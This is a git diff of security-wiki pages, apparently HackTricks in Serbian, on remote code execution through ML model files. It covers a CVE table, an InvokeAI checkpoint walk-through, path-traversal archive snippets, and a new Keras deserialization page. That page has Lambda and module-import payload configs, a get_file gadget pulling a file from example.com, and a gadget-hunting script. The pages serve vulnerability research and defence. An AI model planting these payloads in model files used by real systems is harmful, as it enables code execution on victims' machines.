diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 399e4e154..d81e0f4b9 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -4,23 +4,23 @@ ## Učitavanje modela za RCE -Modeli mašinskog učenja obično se dele u različitim formatima, kao što su ONNX, TensorFlow, PyTorch, itd. Ovi modeli mogu biti učitani na mašine programera ili proizvodne sisteme za korišćenje. Obično modeli ne bi trebali sadržati zlonamerni kod, ali postoje slučajevi kada se model može koristiti za izvršavanje proizvoljnog koda na sistemu kao nameravana funkcija ili zbog ranjivosti u biblioteci za učitavanje modela. +Modeli mašinskog učenja obično se dele u različitim formatima, kao što su ONNX, TensorFlow, PyTorch, itd. Ovi modeli se mogu učitati na mašine programera ili proizvodne sisteme za korišćenje. Obično modeli ne bi trebali sadržati zlonamerni kod, ali postoje slučajevi kada se model može koristiti za izvršavanje proizvoljnog koda na sistemu kao nameravana funkcija ili zbog ranjivosti u biblioteci za učitavanje modela. -U vreme pisanja, ovo su neki primeri ovog tipa ranjivosti: +U vreme pisanja ovo su neki primeri ovog tipa ranjivosti: | **Okvir / Alat** | **Ranjivost (CVE ako je dostupno)** | **RCE Vektor** | **Reference** | |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| -| **PyTorch** (Python) | *Nepouzdana deserializacija u* `torch.load` **(CVE-2025-32434)** | Zlonameran pickle u model checkpoint-u dovodi do izvršavanja koda (zaobilazeći `weights_only` zaštitu) | | -| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + zlonamerno preuzimanje modela uzrokuje izvršavanje koda; Java deserializacija RCE u upravljačkom API-ju | | -| **TensorFlow/Keras** | **CVE-2021-37678** (nebezbedan YAML)
**CVE-2024-3660** (Keras Lambda) | Učitavanje modela iz YAML koristi `yaml.unsafe_load` (izvršavanje koda)
Učitavanje modela sa **Lambda** slojem pokreće proizvoljan Python kod | | +| **PyTorch** (Python) | *Neosigurana deseralizacija u* `torch.load` **(CVE-2025-32434)** | Zlonameran pickle u model checkpoint-u dovodi do izvršavanja koda (zaobilazeći `weights_only` zaštitu) | | +| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + zlonamerno preuzimanje modela uzrokuje izvršavanje koda; Java deseralizacija RCE u upravljačkom API-ju | | +| **TensorFlow/Keras** | **CVE-2021-37678** (nesiguran YAML)
**CVE-2024-3660** (Keras Lambda) | Učitavanje modela iz YAML koristi `yaml.unsafe_load` (izvršavanje koda)
Učitavanje modela sa **Lambda** slojem izvršava proizvoljan Python kod | | | TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsiranje) | Prilagođeni `.tflite` model izaziva prelivanje celobrojne vrednosti → oštećenje heap-a (potencijalni RCE) | | | **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Učitavanje modela putem `joblib.load` izvršava pickle sa napadačevim `__reduce__` payload-om | | -| **NumPy** (Python) | **CVE-2019-6446** (nebezbedan `np.load`) *sporno* | `numpy.load` podrazumevano dozvoljava pickled objekte nizova – zlonameran `.npy/.npz` pokreće izvršavanje koda | | -| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal)
**CVE-2024-5187** (tar traversal) | Spoljni put težina ONNX modela može pobjeći iz direktorijuma (čitati proizvoljne datoteke)
Zlonameran ONNX model tar može prepisati proizvoljne datoteke (što dovodi do RCE) | | +| **NumPy** (Python) | **CVE-2019-6446** (nesiguran `np.load`) *sporno* | `numpy.load` podrazumevano dozvoljava pickled objekte – zlonameran `.npy/.npz` izaziva izvršavanje koda | | +| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal)
**CVE-2024-5187** (tar traversal) | Spoljna putanja težina ONNX modela može pobjeći iz direktorijuma (čitati proizvoljne datoteke)
Zlonameran ONNX model tar može prepisati proizvoljne datoteke (dovodeći do RCE) | | | ONNX Runtime (dizajnerski rizik) | *(Nema CVE)* ONNX prilagođene operacije / kontrolni tok | Model sa prilagođenim operatorom zahteva učitavanje napadačeve nativne koda; složeni grafovi modela zloupotrebljavaju logiku za izvršavanje nepredviđenih proračuna | | -| **NVIDIA Triton Server** | **CVE-2023-31036** (putanja prelaz) | Korišćenje API-ja za učitavanje modela sa `--model-control` omogućeno omogućava relativno prelaz putanje za pisanje datoteka (npr., prepisivanje `.bashrc` za RCE) | | -| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (više heap prelivanja) | Neispravan GGUF model datoteke uzrokuje prelivanje bafera u parseru, omogućavajući proizvoljno izvršavanje koda na sistemu žrtve | | -| **Keras (stariji formati)** | *(Nema novog CVE)* Nasleđeni Keras H5 model | Zlonameran HDF5 (`.h5`) model sa kodom Lambda sloja i dalje se izvršava prilikom učitavanja (Keras safe_mode ne pokriva stari format – “napad s degradacijom”) | | +| **NVIDIA Triton Server** | **CVE-2023-31036** (putanja prelaz) | Korišćenje API-ja za učitavanje modela sa `--model-control` omogućava relativno prelaz putanje za pisanje datoteka (npr., prepisivanje `.bashrc` za RCE) | | +| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (više heap prelivanja) | Neispravan GGUF model fajl uzrokuje prelivanje bafera u parseru, omogućavajući izvršavanje proizvoljnog koda na sistemu žrtve | | +| **Keras (stariji formati)** | *(Nema novog CVE)* Nasleđeni Keras H5 model | Zlonameran HDF5 (`.h5`) model sa kodom Lambda sloja i dalje izvršava prilikom učitavanja (Keras safe_mode ne pokriva stari format – “napad snižavanja”) | | | **Drugi** (opšti) | *Dizajnerska greška* – Pickle serijalizacija | Mnogi ML alati (npr., formati modela zasnovani na pickle-u, Python `pickle.load`) će izvršiti proizvoljni kod ugrađen u datoteke modela osim ako se ne ublaži | | Pored toga, postoje modeli zasnovani na Python pickle-u kao što su oni koje koristi [PyTorch](https://github.com/pytorch/pytorch/security) koji se mogu koristiti za izvršavanje proizvoljnog koda na sistemu ako se ne učitaju sa `weights_only=True`. Dakle, svaki model zasnovan na pickle-u može biti posebno podložan ovim vrstama napada, čak i ako nisu navedeni u tabeli iznad. @@ -33,11 +33,11 @@ Interno, endpoint na kraju poziva: ```python checkpoint = torch.load(path, map_location=torch.device("meta")) ``` -Kada je dostavljeni fajl **PyTorch checkpoint (`*.ckpt`)**, `torch.load` vrši **pickle deserializaciju**. Pošto sadržaj dolazi direktno sa URL-a koji kontroliše korisnik, napadač može ugraditi zlonamerni objekat sa prilagođenom `__reduce__` metodom unutar checkpoint-a; metoda se izvršava **tokom deserializacije**, što dovodi do **daljinskog izvršavanja koda (RCE)** na InvokeAI serveru. +Kada je dostavljeni fajl **PyTorch checkpoint (`*.ckpt`)**, `torch.load` vrši **pickle deserializaciju**. Pošto sadržaj dolazi direktno sa URL-a koji kontroliše korisnik, napadač može ugraditi zlonamerni objekat sa prilagođenom `__reduce__` metodom unutar checkpoint-a; metoda se izvršava **tokom deserializacije**, što dovodi do **remote code execution (RCE)** na InvokeAI serveru. -Ranljivost je dodeljena **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %). +Ranljivosti je dodeljen **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %). -#### Vodič za eksploataciju +#### Exploitation walk-through 1. Kreirajte zlonamerni checkpoint: ```python @@ -74,7 +74,7 @@ Gotov exploit: **Metasploit** modul `exploit/linux/http/invokeai_rce_cve_2024_12 #### Uslovi • InvokeAI 5.3.1-5.4.2 (podrazumevana oznaka skeniranja **false**) -• `/api/v2/models/install` dostupan napadaču +• `/api/v2/models/install` dostupna napadaču • Proces ima dozvole za izvršavanje shell komandi #### Mogućnosti ublažavanja @@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False)) ``` ## Модели за пролазак кроз пут -Како је коментарисано у [**овој блог објави**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), већина формата модела које користе различити AI оквири заснована је на архивама, обично `.zip`. Стога, може бити могуће злоупотребити ове формате за извођење напада проласка кроз пут, што омогућава читање произвољних датотека из система у коме је модел учитан. +Како је коментарисано у [**овој блог објави**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), већина формата модела које користе различити AI оквири заснована је на архивама, обично `.zip`. Стога, може бити могуће злоупотребити ове формате за извођење напада проласка кроз пут, што омогућава читање произвољних датотека из система у којем је модел учитан. На пример, са следећим кодом можете креирати модел који ће креирати датотеку у директоријуму `/tmp` када се учита: ```python @@ -161,11 +161,19 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` -## Reference +### Deep-dive: Keras .keras deserialization and gadget hunting -- [OffSec blog – "CVE-2024-12029 – InvokeAI deserializacija nepouzdanih podataka"](https://www.offsec.com/blog/cve-2024-12029/) -- [InvokeAI zakrpa commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) -- [Rapid7 Metasploit modul dokumentacija](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) -- [PyTorch – bezbednosna razmatranja za torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) +Za fokusirani vodič o .keras unutrašnjosti, Lambda-layer RCE, problemu proizvoljnog uvoza u ≤ 3.8, i otkrivanju gadgeta nakon ispravke unutar allowlist-a, pogledajte: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + +## References + +- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) +- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) +- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) +- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) {{#include ../banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 63d285ab0..d2f5f5d67 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -4,10 +4,11 @@ **Zanimljive stranice za proveru:** -- [**Pyscript hacking tricks**](pyscript.md) -- [**Python deserializations**](../../pentesting-web/deserialization/README.md) -- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/README.md) -- [**Basic python web requests syntax**](web-requests.md) -- [**Basic python syntax and libraries**](basic-python.md) +- [**Pyscript hacking trikovi**](pyscript.md) +- [**Python deseralizacije**](../../pentesting-web/deserialization/README.md) +- [**Keras model deseralizacija RCE i lov na gadgete**](keras-model-deserialization-rce-and-gadget-hunting.md) +- [**Trikovi za zaobilaženje python sandboksova**](bypass-python-sandboxes/README.md) +- [**Osnovna sintaksa python web zahteva**](web-requests.md) +- [**Osnovna sintaksa i biblioteke u pythonu**](basic-python.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..2fd70f9cf --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras Model Deserialization RCE and Gadget Hunting + +{{#include ../../banners/hacktricks-training.md}} + +Ova stranica sumira praktične tehnike eksploatacije protiv Keras modela deserializacije, objašnjava unutrašnjost .keras formata i površinu napada, i pruža alat za istraživače za pronalaženje ranjivosti Model File Vulnerabilities (MFVs) i post-fix gadgeta. + +## .keras model format internals + +A .keras file is a ZIP archive containing at least: +- metadata.json – generičke informacije (npr., Keras verzija) +- config.json – arhitektura modela (primarna površina napada) +- model.weights.h5 – težine u HDF5 + +The config.json drives recursive deserialization: Keras imports modules, resolves classes/functions and reconstructs layers/objects from attacker-controlled dictionaries. + +Example snippet for a Dense layer object: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserijalizacija obavlja: +- Uvoz modula i rešavanje simbola iz module/class_name ključeva +- from_config(...) ili poziv konstruktora sa argumentima koje kontroliše napadač +- Rekurzija u ugnježdene objekte (aktivacije, inicijalizatori, ograničenja, itd.) + +Istorijski, ovo je izložilo tri primitiva napadaču koji kreira config.json: +- Kontrola nad tim koji se moduli uvoze +- Kontrola nad tim koje se klase/funkcije rešavaju +- Kontrola nad argumentima prosleđenim u konstruktore/from_config + +## CVE-2024-3660 – Lambda-layer bytecode RCE + +Osnovni uzrok: +- Lambda.from_config() koristi python_utils.func_load(...) koji base64-dekodira i poziva marshal.loads() na bajtovima napadača; Python unmarshalling može izvršiti kod. + +Ideja za eksploataciju (pojednostavljeni payload u config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigacija: +- Keras podrazumevano primenjuje safe_mode=True. Serijalizovane Python funkcije u Lambda su blokirane osim ako korisnik eksplicitno ne odabere safe_mode=False. + +Napomene: +- Nasleđeni formati (stariji HDF5 sačuvani podaci) ili starije kodne baze možda ne primenjuju moderne provere, tako da "downgrade" stil napada i dalje može da se primeni kada žrtve koriste starije učitavače. + +## CVE-2025-1550 – Arbitrarna uvoz modula u Keras ≤ 3.8 + +Osnovni uzrok: +- _retrieve_class_or_fn koristi neograničeni importlib.import_module() sa stringovima modula koje kontroliše napadač iz config.json. +- Uticaj: Arbitraran uvoz bilo kog instaliranog modula (ili modula koji je napadač postavio na sys.path). Kod se izvršava u vreme uvoza, a zatim se vrši konstrukcija objekta sa napadačevim kwargs. + +Ideja za eksploataciju: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +Security improvements (Keras ≥ 3.9): +- Module allowlist: uvozi su ograničeni na zvanične ekosistem module: keras, keras_hub, keras_cv, keras_nlp +- Safe mode default: safe_mode=True blokira učitavanje nesigurnih Lambda serijalizovanih funkcija +- Basic type checking: deserializovani objekti moraju odgovarati očekivanim tipovima + +## Post-fix gadget surface inside allowlist + +Čak i sa allowlisting-om i safe mode-om, široka površina ostaje među dozvoljenim Keras pozivima. Na primer, keras.utils.get_file može preuzeti proizvoljne URL-ove na lokacije koje korisnik odabere. + +Gadget putem Lambda koji se poziva na dozvoljenu funkciju (ne serijalizovani Python bytecode): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +Važno ograničenje: +- Lambda.call() dodaje ulazni tenzor kao prvi pozicioni argument prilikom pozivanja ciljne funkcije. Odabrani gadgeti moraju tolerisati dodatni pozicioni argument (ili prihvatiti *args/**kwargs). Ovo ograničava koje funkcije su izvodljive. + +Potencijalni uticaji dozvoljenih gadgeta: +- Arbitrerno preuzimanje/pisanje (postavljanje putanja, trovanje konfiguracije) +- Mrežni povratni pozivi/SSRF-efekti u zavisnosti od okruženja +- Povezivanje sa izvršavanjem koda ako su napisane putanje kasnije uvezene/izvršene ili dodate u PYTHONPATH, ili ako postoji lokacija za izvršavanje na pisanje + +## Alatke istraživača + +1) Sistematsko otkrivanje gadgeta u dozvoljenim modulima + +Enumerisati kandidate funkcija u keras, keras_nlp, keras_cv, keras_hub i dati prioritet onima sa efektima na datoteke/mrežu/proces/okruženje. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) Direktno testiranje deserializacije (nije potreban .keras arhiv) + +Unesite kreirane rečnike direktno u Keras deserializer-e da biste saznali prihvaćene parametre i posmatrali nuspojave. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) Istraživanje između verzija i formata + +Keras postoji u više kodnih baza/era sa različitim zaštitnim merama i formatima: +- TensorFlow ugrađeni Keras: tensorflow/python/keras (nasleđe, planirano za brisanje) +- tf-keras: održava se odvojeno +- Multi-backend Keras 3 (službeni): uveden je .keras format + +Ponovite testove između kodnih baza i formata (.keras vs nasleđe HDF5) kako biste otkrili regresije ili nedostajuće zaštite. + +## Preporuke za odbranu + +- Tretirajte datoteke modela kao nepouzdani ulaz. Učitajte modele samo iz pouzdanih izvora. +- Održavajte Keras ažuriranim; koristite Keras ≥ 3.9 da biste imali koristi od dozvola i provere tipova. +- Ne postavljajte safe_mode=False prilikom učitavanja modela osim ako potpuno ne verujete datoteci. +- Razmotrite pokretanje deserializacije u izolovanom, najmanje privilegovanom okruženju bez mrežnog izlaza i sa ograničenim pristupom datotečnom sistemu. +- Sprovodite dozvole/potpisivanje za izvore modela i proveru integriteta gde god je to moguće. + +## Reference + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}}